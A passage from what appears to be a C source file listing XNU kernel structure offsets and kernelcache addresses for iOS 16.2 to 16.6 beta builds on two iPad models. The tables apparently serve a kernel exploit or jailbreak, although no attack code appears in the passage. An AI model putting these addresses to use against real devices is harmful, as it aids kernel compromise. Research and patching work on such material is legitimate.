.task__threads__next = 0x80 - 0x28,\n                .task__threads__prev = 0x80 - 0x28 + 8,\n                .task__itk_space = 0x300,\n                .task__object_size = 0x628,\n                .thread__task_threads__next = 0x368 - 0x18,\n                .thread__task_threads__prev = 0x368 - 0x18 + 8,\n                .thread__map = 0x368,\n                .thread__thread_id = 0x400,\n                .thread__object_size = 0x4a8,\n                .uthread__object_size = 0x200,\n                .vm_map_entry__links__prev = 0x00,\n                .vm_map_entry__links__next = 0x08,\n                .vm_map_entry__links__start = 0x10,\n                .vm_map_entry__links__end = 0x18,\n                .vm_map_entry__store__entry__rbe_left = 0x20,\n                .vm_map_entry__store__entry__rbe_right = 0x28,\n                .vm_map_entry__store__entry__rbe_parent = 0x30,\n                .vnode__v_un__vu_specinfo = 0x78,\n                ._vm_map__hdr__links__prev = 0x00 + 0x10,\n                ._vm_map__hdr__links__next = 0x08 + 0x10,\n                ._vm_map__hdr__links__start = 0x10 + 0x10,\n                ._vm_map__hdr__links__end = 0x18 + 0x10,\n                ._vm_map__hdr__nentries = 0x30,\n                ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n                ._vm_map__pmap = 0x40,\n                ._vm_map__hint = 0x90 + 0x08,\n                ._vm_map__hole_hint = 0x90 + 0x10,\n                ._vm_map__holes_list = 0x90 + 0x18,\n                ._vm_map__object_size = 0xc0,\n                .kernelcache__kernel_base = 0xfffffff007004000,\n                .kernelcache__cdevsw = 0xfffffff00a22d178,\n                .kernelcache__gPhysBase = 0xfffffff00781bd48,\n                .kernelcache__gPhysSize = 0xfffffff00781bd48 + 8,\n                .kernelcache__gVirtBase = 0xfffffff007819f28,\n                .kernelcache__perfmon_devices = 0xfffffff00a268380,\n                .kernelcache__perfmon_dev_open = 0xfffffff007e8b398,\n                .kernelcache__ptov_table = 0xfffffff0077cf288,\n                .kernelcache__vm_first_phys_ppnum = 0xfffffff00a267800,\n                .kernelcache__vm_pages = 0xfffffff0077cc0c0,\n                .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077ce248,\n                .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2677f8,\n                .kernelcache__vn_kqfilter = 0xfffffff007edda20,\n            },\n\n            // iOS 16.3.1\n                    {\n                .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:51 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8020\",\n                .build_version = \"20D67\",\n                .device_id = \"iPad11,3\",\n                .fileglob__fg_ops = 0x28,\n                .fileglob__fg_data = 0x40 - 8,\n                .fileops__fo_kqfilter = 0x30,\n                // .fileproc__fp_iocount = 0x0000,\n                // .fileproc__fp_vflags = 0x0004,\n                // .fileproc__fp_flags = 0x0008,\n                // .fileproc__fp_guard_attrs = 0x000a,\n                // .fileproc__fp_glob = 0x0010,\n                // .fileproc__fp_guard = 0x0018,\n                // .fileproc__object_size = 0x0020,\n                .fileproc_guard__fpg_guard = 0x8,\n                .kqworkloop__kqwl_state = 0x10,\n                .kqworkloop__kqwl_p = 0x18,\n                .kqworkloop__kqwl_owner = 0xd0,\n                .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n                .kqworkloop__object_size = 0x108,\n                .pmap__tte = 0x0,\n                .pmap__ttep = 0x8,\n                .proc__p_list__le_next = 0x0,\n                .proc__p_list__le_prev = 0x8,\n                .proc__p_pid = 0x60,\n                .proc__p_fd__fd_ofiles = 0xf8,\n                .proc__object_size = 0x538,\n                .pseminfo__psem_usecount = 0x04,\n                .pseminfo__psem_uid = 0x0c,\n                .pseminfo__psem_gid = 0x10,\n                .pseminfo__psem_name = 0x14,\n                .pseminfo__psem_semobject = 0x38,\n                // .psemnode__pinfo = 0x0000,\n                // .psemnode__padding = 0x0008,\n                // .psemnode__object_size = 0x0010,\n                .semaphore__owner = 0x28,\n                .specinfo__si_rdev = 0x18,\n                .task__map = 0x28,\n                .task__threads__next = 0x80 - 0x28,\n                .task__threads__prev = 0x80 - 0x28 + 8,\n                .task__itk_space = 0x300,\n                .task__object_size = 0x628,\n                .thread__task_threads__next = 0x368 - 0x18,\n                .thread__task_threads__prev = 0x368 - 0x18 + 8,\n                .thread__map = 0x368,\n                .thread__thread_id = 0x400,\n                .thread__object_size = 0x4a8,\n                .uthread__object_size = 0x200,\n                .vm_map_entry__links__prev = 0x00,\n                .vm_map_entry__links__next = 0x08,\n                .vm_map_entry__links__start = 0x10,\n                .vm_map_entry__links__end = 0x18,\n                .vm_map_entry__store__entry__rbe_left = 0x20,\n                .vm_map_entry__store__entry__rbe_right = 0x28,\n                .vm_map_entry__store__entry__rbe_parent = 0x30,\n                .vnode__v_un__vu_specinfo = 0x78,\n                ._vm_map__hdr__links__prev = 0x00 + 0x10,\n                ._vm_map__hdr__links__next = 0x08 + 0x10,\n                ._vm_map__hdr__links__start = 0x10 + 0x10,\n                ._vm_map__hdr__links__end = 0x18 + 0x10,\n                ._vm_map__hdr__nentries = 0x30,\n                ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n                ._vm_map__pmap = 0x40,\n                ._vm_map__hint = 0x90 + 0x08,\n                ._vm_map__hole_hint = 0x90 + 0x10,\n                ._vm_map__holes_list = 0x90 + 0x18,\n                ._vm_map__object_size = 0xc0,\n                .kernelcache__kernel_base = 0xfffffff007004000,\n                .kernelcache__cdevsw = 0xfffffff00a22d178,\n                .kernelcache__gPhysBase = 0xfffffff00781bd48,\n                .kernelcache__gPhysSize = 0xfffffff00781bd48 + 8,\n                .kernelcache__gVirtBase = 0xfffffff007819f28,\n                .kernelcache__perfmon_devices = 0xfffffff00a268380,\n                .kernelcache__perfmon_dev_open = 0xfffffff007e8b398,\n                .kernelcache__ptov_table = 0xfffffff0077cf288,\n                .kernelcache__vm_first_phys_ppnum = 0xfffffff00a267800,\n                .kernelcache__vm_pages = 0xfffffff0077cc0c0,\n                .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077ce248,\n                .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2677f8,\n                .kernelcache__vn_kqfilter = 0xfffffff007edda20,\n            },\n\n            // iOS 16.4\n                {\n                .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:48 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8020\",\n                .build_version = \"20E246\",\n                .device_id = \"iPad11,3\",\n                .fileglob__fg_ops = 0x28,\n                .fileglob__fg_data = 0x40 - 8,\n                .fileops__fo_kqfilter = 0x30,\n                // .fileproc__fp_iocount = 0x0000,\n                // .fileproc__fp_vflags = 0x0004,\n                // .fileproc__fp_flags = 0x0008,\n                // .fileproc__fp_guard_attrs = 0x000a,\n                // .fileproc__fp_glob = 0x0010,\n                // .fileproc__fp_guard = 0x0018,\n                // .fileproc__object_size = 0x0020,\n                .fileproc_guard__fpg_guard = 0x8,\n                .kqworkloop__kqwl_state = 0x10,\n                .kqworkloop__kqwl_p = 0x18,\n                .kqworkloop__kqwl_owner = 0xd0,\n                .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n                .kqworkloop__object_size = 0x108,\n                .pmap__tte = 0x0,\n                .pmap__ttep = 0x8,\n                .proc__p_list__le_next = 0x0,\n                .proc__p_list__le_prev = 0x8,\n                .proc__p_pid = 0x60,\n                .proc__p_fd__fd_ofiles = 0xf8,\n                .proc__object_size = 0x730,\n                .pseminfo__psem_usecount = 0x04,\n                .pseminfo__psem_uid = 0x0c,\n                .pseminfo__psem_gid = 0x10,\n                .pseminfo__psem_name = 0x14,\n                .pseminfo__psem_semobject = 0x38,\n                // .psemnode__pinfo = 0x0000,\n                // .psemnode__padding = 0x0008,\n                // .psemnode__object_size = 0x0010,\n                .semaphore__owner = 0x28,\n                .specinfo__si_rdev = 0x18,\n                .task__map = 0x28,\n                .task__threads__next = 0x80 - 0x28,\n                .task__threads__prev = 0x80 - 0x28 + 8,\n                .task__itk_space = 0x300,\n                .task__object_size = 0x628,\n                .thread__task_threads__next = 0x368 - 0x18,\n                .thread__task_threads__prev = 0x368 - 0x18 + 8,\n                .thread__map = 0x368,\n                .thread__thread_id = 0x400,\n                .thread__object_size = 0x4a8,\n                .uthread__object_size = 0x200,\n                .vm_map_entry__links__prev = 0x00,\n                .vm_map_entry__links__next = 0x08,\n                .vm_map_entry__links__start = 0x10,\n                .vm_map_entry__links__end = 0x18,\n                .vm_map_entry__store__entry__rbe_left = 0x20,\n                .vm_map_entry__store__entry__rbe_right = 0x28,\n                .vm_map_entry__store__entry__rbe_parent = 0x30,\n                .vnode__v_un__vu_specinfo = 0x78,\n                ._vm_map__hdr__links__prev = 0x00 + 0x10,\n                ._vm_map__hdr__links__next = 0x08 + 0x10,\n                ._vm_map__hdr__links__start = 0x10 + 0x10,\n                ._vm_map__hdr__links__end = 0x18 + 0x10,\n                ._vm_map__hdr__nentries = 0x30,\n                ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n                ._vm_map__pmap = 0x40,\n                ._vm_map__hint = 0x90 + 0x08,\n                ._vm_map__hole_hint = 0x90 + 0x10,\n                ._vm_map__holes_list = 0x90 + 0x18,\n                ._vm_map__object_size = 0xc0,\n                .kernelcache__kernel_base = 0xfffffff007004000,\n                .kernelcache__cdevsw = 0xfffffff00a2e9208,\n                .kernelcache__gPhysBase = 0xfffffff0078f3fa0,\n                .kernelcache__gPhysSize = 0xfffffff0078f3fa0 + 8,\n                .kernelcache__gVirtBase = 0xfffffff0078f2178,\n                .kernelcache__perfmon_devices = 0xfffffff00a327500,\n                .kernelcache__perfmon_dev_open = 0xfffffff007ea5a88,\n                .kernelcache__ptov_table = 0xfffffff0078a7160,\n                .kernelcache__vm_first_phys_ppnum = 0xfffffff00a326990,\n                .kernelcache__vm_pages = 0xfffffff0078a3ea8,\n                .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078a6110,\n                .kernelcache__vm_page_array_ending_addr = 0xfffffff00a326988,\n                .kernelcache__vn_kqfilter = 0xfffffff007ef463c,\n            },\n\n            // iOS 16.4.1\n                    {\n                .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:48 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8020\",\n                .build_version = \"20E252\",\n                .device_id = \"iPad11,3\",\n                .fileglob__fg_ops = 0x28,\n                .fileglob__fg_data = 0x40 - 8,\n                .fileops__fo_kqfilter = 0x30,\n                // .fileproc__fp_iocount = 0x0000,\n                // .fileproc__fp_vflags = 0x0004,\n                // .fileproc__fp_flags = 0x0008,\n                // .fileproc__fp_guard_attrs = 0x000a,\n                // .fileproc__fp_glob = 0x0010,\n                // .fileproc__fp_guard = 0x0018,\n                // .fileproc__object_size = 0x0020,\n                .fileproc_guard__fpg_guard = 0x8,\n                .kqworkloop__kqwl_state = 0x10,\n                .kqworkloop__kqwl_p = 0x18,\n                .kqworkloop__kqwl_owner = 0xd0,\n                .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n                .kqworkloop__object_size = 0x108,\n                .pmap__tte = 0x0,\n                .pmap__ttep = 0x8,\n                .proc__p_list__le_next = 0x0,\n                .proc__p_list__le_prev = 0x8,\n                .proc__p_pid = 0x60,\n                .proc__p_fd__fd_ofiles = 0xf8,\n                .proc__object_size = 0x730,\n                .pseminfo__psem_usecount = 0x04,\n                .pseminfo__psem_uid = 0x0c,\n                .pseminfo__psem_gid = 0x10,\n                .pseminfo__psem_name = 0x14,\n                .pseminfo__psem_semobject = 0x38,\n                // .psemnode__pinfo = 0x0000,\n                // .psemnode__padding = 0x0008,\n                // .psemnode__object_size = 0x0010,\n                .semaphore__owner = 0x28,\n                .specinfo__si_rdev = 0x18,\n                .task__map = 0x28,\n                .task__threads__next = 0x80 - 0x28,\n                .task__threads__prev = 0x80 - 0x28 + 8,\n                .task__itk_space = 0x300,\n                .task__object_size = 0x628,\n                .thread__task_threads__next = 0x368 - 0x18,\n                .thread__task_threads__prev = 0x368 - 0x18 + 8,\n                .thread__map = 0x368,\n                .thread__thread_id = 0x400,\n                .thread__object_size = 0x4a8,\n                .uthread__object_size = 0x200,\n                .vm_map_entry__links__prev = 0x00,\n                .vm_map_entry__links__next = 0x08,\n                .vm_map_entry__links__start = 0x10,\n                .vm_map_entry__links__end = 0x18,\n                .vm_map_entry__store__entry__rbe_left = 0x20,\n                .vm_map_entry__store__entry__rbe_right = 0x28,\n                .vm_map_entry__store__entry__rbe_parent = 0x30,\n                .vnode__v_un__vu_specinfo = 0x78,\n                ._vm_map__hdr__links__prev = 0x00 + 0x10,\n                ._vm_map__hdr__links__next = 0x08 + 0x10,\n                ._vm_map__hdr__links__start = 0x10 + 0x10,\n                ._vm_map__hdr__links__end = 0x18 + 0x10,\n                ._vm_map__hdr__nentries = 0x30,\n                ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n                ._vm_map__pmap = 0x40,\n                ._vm_map__hint = 0x90 + 0x08,\n                ._vm_map__hole_hint = 0x90 + 0x10,\n                ._vm_map__holes_list = 0x90 + 0x18,\n                ._vm_map__object_size = 0xc0,\n                .kernelcache__kernel_base = 0xfffffff007004000,\n                .kernelcache__cdevsw = 0xfffffff00a2e9208,\n                .kernelcache__gPhysBase = 0xfffffff0078f3fa0,\n                .kernelcache__gPhysSize = 0xfffffff0078f3fa0 + 8,\n                .kernelcache__gVirtBase = 0xfffffff0078f2178,\n                .kernelcache__perfmon_devices = 0xfffffff00a327500,\n                .kernelcache__perfmon_dev_open = 0xfffffff007ea5a88,\n                .kernelcache__ptov_table = 0xfffffff0078a7160,\n                .kernelcache__vm_first_phys_ppnum = 0xfffffff00a326990,\n                .kernelcache__vm_pages = 0xfffffff0078a3ea8,\n                .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078a6110,\n                .kernelcache__vm_page_array_ending_addr = 0xfffffff00a326988,\n                .kernelcache__vn_kqfilter = 0xfffffff007ef463c,\n            },\n\n            // iOS 16.5\n                {\n                .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:10:51 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8020\",\n                .build_version = \"20F66\",\n                .device_id = \"iPad11,3\",\n                .fileglob__fg_ops = 0x28,\n                .fileglob__fg_data = 0x40 - 8,\n                .fileops__fo_kqfilter = 0x30,\n                // .fileproc__fp_iocount = 0x0000,\n                // .fileproc__fp_vflags = 0x0004,\n                // .fileproc__fp_flags = 0x0008,\n                // .fileproc__fp_guard_attrs = 0x000a,\n                // .fileproc__fp_glob = 0x0010,\n                // .fileproc__fp_guard = 0x0018,\n                // .fileproc__object_size = 0x0020,\n                .fileproc_guard__fpg_guard = 0x8,\n                .kqworkloop__kqwl_state = 0x10,\n                .kqworkloop__kqwl_p = 0x18,\n                .kqworkloop__kqwl_owner = 0xd0,\n                .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n                .kqworkloop__object_size = 0x108,\n                .pmap__tte = 0x0,\n                .pmap__ttep = 0x8,\n                .proc__p_list__le_next = 0x0,\n                .proc__p_list__le_prev = 0x8,\n                .proc__p_pid = 0x60,\n                .proc__p_fd__fd_ofiles = 0xf8,\n                .proc__object_size = 0x730,\n                .pseminfo__psem_usecount = 0x04,\n                .pseminfo__psem_uid = 0x0c,\n                .pseminfo__psem_gid = 0x10,\n                .pseminfo__psem_name = 0x14,\n                .pseminfo__psem_semobject = 0x38,\n                // .psemnode__pinfo = 0x0000,\n                // .psemnode__padding = 0x0008,\n                // .psemnode__object_size = 0x0010,\n                .semaphore__owner = 0x28,\n                .specinfo__si_rdev = 0x18,\n                .task__map = 0x28,\n                .task__threads__next = 0x80 - 0x28,\n                .task__threads__prev = 0x80 - 0x28 + 8,\n                .task__itk_space = 0x300,\n                .task__object_size = 0x628,\n                .thread__task_threads__next = 0x368 - 0x18,\n                .thread__task_threads__prev = 0x368 - 0x18 + 8,\n                .thread__map = 0x368,\n                .thread__thread_id = 0x400,\n                .thread__object_size = 0x4a8,\n                .uthread__object_size = 0x200,\n                .vm_map_entry__links__prev = 0x00,\n                .vm_map_entry__links__next = 0x08,\n                .vm_map_entry__links__start = 0x10,\n                .vm_map_entry__links__end = 0x18,\n                .vm_map_entry__store__entry__rbe_left = 0x20,\n                .vm_map_entry__store__entry__rbe_right = 0x28,\n                .vm_map_entry__store__entry__rbe_parent = 0x30,\n                .vnode__v_un__vu_specinfo = 0x78,\n                ._vm_map__hdr__links__prev = 0x00 + 0x10,\n                ._vm_map__hdr__links__next = 0x08 + 0x10,\n                ._vm_map__hdr__links__start = 0x10 + 0x10,\n                ._vm_map__hdr__links__end = 0x18 + 0x10,\n                ._vm_map__hdr__nentries = 0x30,\n                ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n                ._vm_map__pmap = 0x40,\n                ._vm_map__hint = 0x90 + 0x08,\n                ._vm_map__hole_hint = 0x90 + 0x10,\n                ._vm_map__holes_list = 0x90 + 0x18,\n                ._vm_map__object_size = 0xc0,\n                .kernelcache__kernel_base = 0xfffffff007004000,\n                .kernelcache__cdevsw = 0xfffffff00a2f1288,\n                .kernelcache__gPhysBase = 0xfffffff0078f80e0,\n                .kernelcache__gPhysSize = 0xfffffff0078f80e0 + 8,\n                .kernelcache__gVirtBase = 0xfffffff0078f62b8,\n                .kernelcache__perfmon_devices = 0xfffffff00a32f500,\n                .kernelcache__perfmon_dev_open = 0xfffffff007ea9c8c,\n                .kernelcache__ptov_table = 0xfffffff0078ab160,\n                .kernelcache__vm_first_phys_ppnum = 0xfffffff00a32e990,\n                .kernelcache__vm_pages = 0xfffffff0078a7ea8,\n                .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078aa110,\n                .kernelcache__vm_page_array_ending_addr = 0xfffffff00a32e988,\n                .kernelcache__vn_kqfilter = 0xfffffff007ef8ad8,\n            },\n\n            // iOS 16.6b1\n                {\n                .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:18:00 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8020\",\n                .build_version = \"20G5026e\",\n                .device_id = \"iPad11,3\",\n                .fileglob__fg_ops = 0x28,\n                .fileglob__fg_data = 0x40 - 8,\n                .fileops__fo_kqfilter = 0x30,\n                // .fileproc__fp_iocount = 0x0000,\n                // .fileproc__fp_vflags = 0x0004,\n                // .fileproc__fp_flags = 0x0008,\n                // .fileproc__fp_guard_attrs = 0x000a,\n                // .fileproc__fp_glob = 0x0010,\n                // .fileproc__fp_guard = 0x0018,\n                // .fileproc__object_size = 0x0020,\n                .fileproc_guard__fpg_guard = 0x8,\n                .kqworkloop__kqwl_state = 0x10,\n                .kqworkloop__kqwl_p = 0x18,\n                .kqworkloop__kqwl_owner = 0xd0,\n                .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n                .kqworkloop__object_size = 0x108,\n                .pmap__tte = 0x0,\n                .pmap__ttep = 0x8,\n                .proc__p_list__le_next = 0x0,\n                .proc__p_list__le_prev = 0x8,\n                .proc__p_pid = 0x60,\n                .proc__p_fd__fd_ofiles = 0xf8,\n                .proc__object_size = 0x730,\n                .pseminfo__psem_usecount = 0x04,\n                .pseminfo__psem_uid = 0x0c,\n                .pseminfo__psem_gid = 0x10,\n                .pseminfo__psem_name = 0x14,\n                .pseminfo__psem_semobject = 0x38,\n                // .psemnode__pinfo = 0x0000,\n                // .psemnode__padding = 0x0008,\n                // .psemnode__object_size = 0x0010,\n                .semaphore__owner = 0x28,\n                .specinfo__si_rdev = 0x18,\n                .task__map = 0x28,\n                .task__threads__next = 0x80 - 0x28,\n                .task__threads__prev = 0x80 - 0x28 + 8,\n                .task__itk_space = 0x300,\n                .task__object_size = 0x628,\n                .thread__task_threads__next = 0x368 - 0x18,\n                .thread__task_threads__prev = 0x368 - 0x18 + 8,\n                .thread__map = 0x368,\n                .thread__thread_id = 0x400,\n                .thread__object_size = 0x4a8,\n                .uthread__object_size = 0x200,\n                .vm_map_entry__links__prev = 0x00,\n                .vm_map_entry__links__next = 0x08,\n                .vm_map_entry__links__start = 0x10,\n                .vm_map_entry__links__end = 0x18,\n                .vm_map_entry__store__entry__rbe_left = 0x20,\n                .vm_map_entry__store__entry__rbe_right = 0x28,\n                .vm_map_entry__store__entry__rbe_parent = 0x30,\n                .vnode__v_un__vu_specinfo = 0x78,\n                ._vm_map__hdr__links__prev = 0x00 + 0x10,\n                ._vm_map__hdr__links__next = 0x08 + 0x10,\n                ._vm_map__hdr__links__start = 0x10 + 0x10,\n                ._vm_map__hdr__links__end = 0x18 + 0x10,\n                ._vm_map__hdr__nentries = 0x30,\n                ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n                ._vm_map__pmap = 0x40,\n                ._vm_map__hint = 0x90 + 0x08,\n                ._vm_map__hole_hint = 0x90 + 0x10,\n                ._vm_map__holes_list = 0x90 + 0x18,\n                ._vm_map__object_size = 0xc0,\n                .kernelcache__kernel_base = 0xfffffff007004000,\n                .kernelcache__cdevsw = 0xfffffff00a23dab0,\n                .kernelcache__gPhysBase = 0xfffffff0078dc288,\n                .kernelcache__gPhysSize = 0xfffffff0078dc288 + 8,\n                .kernelcache__gVirtBase = 0xfffffff0078da440,\n                .kernelcache__perfmon_devices = 0xfffffff00a27d530,\n                .kernelcache__perfmon_dev_open = 0xfffffff007e7e434,\n                .kernelcache__ptov_table = 0xfffffff00788f9a0,\n                .kernelcache__vm_first_phys_ppnum = 0xfffffff00a27c910,\n                .kernelcache__vm_pages = 0xfffffff00788c0f8,\n                .kernelcache__vm_page_array_beginning_addr = 0xfffffff00788e950,\n                .kernelcache__vm_page_array_ending_addr = 0xfffffff00a27c908,\n                .kernelcache__vn_kqfilter = 0xfffffff007eccc44,\n            },\n\n            // iPad Air 3 //\n        // iOS 16.2\n            {\n                .kern_version = \"Darwin Kernel Version 22.2.0: Mon Nov 28 20:10:15 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8020\",\n                .build_version = \"20C65\",\n                .device_id = \"iPad11,4\",\n                .fileglob__fg_ops = 0x28,\n                .fileglob__fg_data = 0x40 - 8,\n                .fileops__fo_kqfilter = 0x30,\n                // .fileproc__fp_iocount = 0x0000,\n                // .fileproc__fp_vflags = 0x0004,\n                // .fileproc__fp_flags = 0x0008,\n                // .fileproc__fp_guard_attrs = 0x000a,\n                // .fileproc__fp_glob = 0x0010,\n                // .fileproc__fp_guard = 0x0018,\n                // .fileproc__object_size = 0x0020,\n                .fileproc_guard__fpg_guard = 0x8,\n                .kqworkloop__kqwl_state = 0x10,\n                .kqworkloop__kqwl_p = 0x18,\n                .kqworkloop__kqwl_owner = 0xd0,\n                .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n                .kqworkloop__object_size = 0x108,\n                .pmap__tte = 0x0,\n                .pmap__ttep = 0x8,\n                .proc__p_list__le_next = 0x0,\n                .proc__p_list__le_prev = 0x8,\n                .proc__p_pid = 0x60,\n                .proc__p_fd__fd_ofiles = 0xf8,\n                .proc__object_size = 0x538,\n                .pseminfo__psem_usecount = 0x04,\n                .pseminfo__psem_uid = 0x0c,\n                .pseminfo__psem_gid = 0x10,\n                .pseminfo__psem_name = 0x14,\n                .pseminfo__psem_semobject = 0x38,\n                // .psemnode__pinfo = 0x0000,\n                // .psemnode__padding = 0x0008,\n                // .psemnode__object_size = 0x0010,\n                .semaphore__owner = 0x28,\n                .specinfo__si_rdev = 0x18,\n                .task__map = 0x28,\n                .task__threads__next = 0x80 - 0x28,\n                .task__threads__prev = 0x80 - 0x28 + 8,\n                .task__itk_space = 0x300,\n                .task__object_size = 0x628,\n                .thread__task_threads__next = 0x368 - 0x18,\n                .thread__task_threads__prev = 0x368 - 0x18 + 8,\n                .thread__map = 0x368,\n                .thread__thread_id = 0x400,\n                .thread__object_size = 0x4a8,\n                .uthread__object_size = 0x200,\n                .vm_map_entry__links__prev = 0x00,\n                .vm_map_entry__links__next = 0x08,\n                .vm_map_entry__links__start = 0x10,\n                .vm_map_entry__links__end = 0x18,\n                .vm_map_entry__store__entry__rbe_left = 0x20,\n                .vm_map_entry__store__entry__rbe_right = 0x28,\n                .vm_map_entry__store__entry__rbe_parent = 0x30,\n                .vnode__v_un__vu_specinfo = 0x78,\n                ._vm_map__hdr__links__prev = 0x00 + 0x10,\n                ._vm_map__hdr__links__next = 0x08 + 0x10,\n                ._vm_map__hdr__links__start = 0x10 + 0x10,\n                ._vm_map__hdr__links__end = 0x18 + 0x10,\n                ._vm_map__hdr__nentries = 0x30,\n                ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n                ._vm_map__pmap = 0x40,\n                ._vm_map__hint = 0x90 + 0x08,\n                ._vm_map__hole_hint = 0x90 + 0x10,\n                ._vm_map__holes_list = 0x90 + 0x18,\n                ._vm_map__object_size = 0xc0,\n                .kernelcache__kernel_base = 0xfffffff007004000,\n                .kernelcache__cdevsw = 0xfffffff00a225178,\n                .kernelcache__gPhysBase = 0xfffffff00781bc60,\n                .kernelcache__gPhysSize = 0xfffffff00781bc60 + 8,\n                .kernelcache__gVirtBase = 0xfffffff007819e40,\n                .kernelcache__perfmon_devices = 0xfffffff00a260380,\n                .kernelcache__perfmon_dev_open = 0xfffffff007e873ac,\n                .kernelcache__ptov_table = 0xfffffff0077cf248,\n                .kernelcache__vm_first_phys_ppnum = 0xfffffff00a25f800,\n                .kernelcache__vm_pages = 0xfffffff0077cc080,\n                .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077ce208,\n                .kernelcache__vm_page_array_ending_addr = 0xfffffff00a25f7f8,\n                .kernelcache__vn_kqfilter = 0xfffffff007ed9a44,\n            },\n\n            // iOS 16.3\n                {\n                .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:51 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8020\",\n                .build_version = \"20D47\",\n                .device_id = \"iPad11,4\",\n                .fileglob__fg_ops = 0x28,\n                .fileglob__fg_data = 0x40 - 8,\n                .fileops__fo_kqfilter = 0x30,\n                // .fileproc__fp_iocount = 0x0000,\n                // .fileproc__fp_vflags = 0x0004,\n                // .fileproc__fp_flags = 0x0008,\n                // .fileproc__fp_guard_attrs = 0x000a,\n                // .fileproc__fp_glob = 0x0010,\n                // .fileproc__fp_guard = 0x0018,\n                // .fileproc__object_size = 0x0020,\n                .fileproc_guard__fpg_guard = 0x8,\n                .kqworkloop__kqwl_state = 0x10,\n                .kqworkloop__kqwl_p = 0x18,\n                .kqworkloop__kqwl_owner = 0xd0,\n                .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n                .kqworkloop__object_size = 0x108,\n                .pmap__tte = 0x0,\n                .pmap__ttep = 0x8,\n                .proc__p_list__le_next = 0x0,\n                .proc__p_list__le_prev = 0x8,\n                .proc__p_pid = 0x60,\n                .proc__p_fd__fd_ofiles = 0xf8,\n                .proc__object_size = 0x538,\n                .pseminfo__psem_usecount = 0x04,\n                .pseminfo__psem_uid = 0x0c,\n                .pseminfo__psem_gid = 0x10,\n                .pseminfo__psem_name = 0x14,\n                .pseminfo__psem_semobject = 0x38,\n                // .psemnode__pinfo = 0x0000,\n                // .psemnode__padding = 0x0008,\n                // .psemnode__object_size = 0x0010,\n                .semaphore__owner = 0x28,\n                .specinfo__si_rdev = 0x18,\n                .task__map = 0x28,\n                .task__threads__next = 0x80 - 0x28,\n                .task__threads__prev = 0x80 - 0x28 + 8,\n                .task__itk_space = 0x300,\n                .task__object_size = 0x628,\n                .thread__task_threads__next = 0x368 - 0x18,\n                .thread__task_threads__prev = 0x368 - 0x18 + 8,\n                .thread__map = 0x368,\n                .thread__thread_id = 0x400,\n                .thread__object_size = 0x4a8,\n                .uthread__object_size = 0x200,\n                .vm_map_entry__links__prev = 0x00,\n                .vm_map_entry__links__next = 0x08,\n                .vm_map_entry__links__start = 0x10,\n                .vm_map_entry__links__end = 0x18,\n                .vm_map_entry__store__entry__rbe_left = 0x20,\n                .vm_map_entry__store__entry__rbe_right = 0x28,\n                .vm_map_entry__store__entry__rbe_parent = 0x30,\n                .vnode__v_un__vu_specinfo = 0x78,\n                ._vm_map__hdr__links__prev = 0x00 + 0x10,\n                ._vm_map__hdr__links__next = 0x08 + 0x10,\n                ._vm_map__hdr__links__start = 0x10 + 0x10,\n                ._vm_map__hdr__links__end = 0x18 + 0x10,\n                ._vm_map__hdr__nentries = 0x30,\n                ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n                ._vm_map__pmap = 0x40,\n                ._vm_map__hint = 0x90 + 0x08,\n                ._vm_map__hole_hint = 0x90 + 0x10,\n                ._vm_map__holes_list = 0x90 + 0x18,\n                ._vm_map__object_size = 0xc0,\n                .kernelcache__kernel_base = 0xfffffff007004000,\n                .kernelcache__cdevsw = 0xfffffff00a22d178,\n                .kernelcache__gPhysBase = 0xfffffff00781bd48,\n                .kernelcache__gPhysSize = 0xfffffff00781bd48 + 8,\n                .kernelcache__gVirtBase = 0xfffffff007819f28,\n                .kernelcache__perfmon_devices = 0xfffffff00a268380,\n                .kernelcache__perfmon_dev_open = 0xfffffff007e8b398,\n                .kernelcache__ptov_table = 0xfffffff0077cf288,\n                .kernelcache__vm_first_phys_ppnum = 0xfffffff00a267800,\n                .kernelcache__vm_pages = 0xfffffff0077cc0c0,\n                .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077ce248,\n                .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2677f8,\n                .kernelcache__vn_kqfilter = 0xfffffff007edda20,\n            },\n\n            // iOS 16.3.1\n                    {\n                .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:51 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8020\",\n                .build_version = \"20D67\",\n                .device_id = \"iPad11,4\",\n                .fileglob__fg_ops = 0x28,\n                .fileglob__fg_data = 0x40 - 8,\n                